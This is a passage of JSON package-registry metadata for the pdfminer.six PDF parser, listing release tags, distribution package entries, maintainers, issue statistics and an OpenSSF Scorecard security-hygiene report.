six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:09.765Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":3.3265173806792676,"forks_count":2.234302528552192,"docker_downloads_count":null,"average":1.3902049773078649},"purl":"pkg:apk/alpine/py3-pdfminer-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.18","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer-pyc/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":"clandmeter@alpinelinux.org","url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":332,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-05-23T07:19:36.026Z","updated_at":"2023-05-23T07:19:36.026Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.18","url":"https://pkgs.alpinelinux.org/packages?branch=v3.18","ecosystem":"alpine","default":false,"packages_count":20068,"maintainers_count":367,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-05-22T10:43:30.622Z","updated_at":"2026-04-27T18:20:23.557Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/namespaces"}},{"id":13287921,"name":"pdfminer","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T05:58:07.438Z","latest_release_published_at":"2026-02-02T05:58:07.438Z","latest_release_number":"20221105","last_synced_at":"2026-03-07T03:28:09.369Z","created_at":"2026-02-02T05:58:05.560Z","updated_at":"2026-03-07T03:31:27.858Z","registry_url":"https://search.nixos.org/packages?channel=23.11\u0026query=pdfminer","install_command":"nix-env -iA nixpkgs.pdfminer","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.11/pkgs/development/python-modules/pdfminer-six/default.nix#L60","metadata":{"nix_attribute":"pdfminer-six-20221105","position":"pkgs/development/python-modules/pdfminer-six/default.nix:60","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"]},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/pdfminer?channel=23.11\u0026repository_url=https://channels.nixos.org/nixos-23.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/pdfminer/codemeta","maintainers":[{"uuid":"marsam","login":null,"name":"Mario Rodas","email":null,"url":"https://github.com/marsam","packages_count":485,"html_url":null,"role":null,"created_at":"2026-03-07T03:28:09.592Z","updated_at":"2026-03-07T03:28:09.592Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/marsam/packages"},{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":62,"html_url":null,"role":null,"created_at":"2026-03-07T03:28:09.555Z","updated_at":"2026-03-07T03:28:09.555Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-23.11","url":"https://channels.nixos.org/nixos-23.11","ecosystem":"nixpkgs","default":false,"packages_count":108178,"maintainers_count":2997,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":189},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.577Z","updated_at":"2026-04-03T06:23:37.723Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/namespaces"}},{"id":13760480,"name":"pdfminer","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["universe/python"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T09:42:45.008Z","latest_release_published_at":"2026-02-13T09:42:45.008Z","latest_release_number":"20221105+dfsg-1","last_synced_at":"2026-03-13T11:19:44.309Z","created_at":"2026-02-13T09:42:44.835Z","updated_at":"2026-03-13T11:30:39.304Z","registry_url":"https://launchpad.net/ubuntu/+source/pdfminer","install_command":"apt-get install pdfminer","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.6.2.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-charset-normalizer, python3-cryptography, python3-pytest, python3-setuptools, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2026-01-01T22:48:40.000Z","size":21820,"stargazers_count":6839,"open_issues_count":211,"forks_count":1017,"subscribers_count":112,"default_branch":"master","last_synced_at":"2026-01-06T03:27:50.600Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2026-01-04T23:11:27.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":32,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29397661,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-13T04:26:15.637Z","status":"ssl_error","status_checked_at":"2026-02-13T04:16:29.732Z","response_time":78,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-02-13T09:42:45.229Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":0.15870125139839217,"forks_count":0.09105809506465125,"docker_downloads_count":null,"average":0.06243983661576086},"purl":"pkg:deb/ubuntu/pdfminer?arch=source\u0026distro=ubuntu-24.10\u0026repository_url=https://launchpad.net/ubuntu/oracular","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api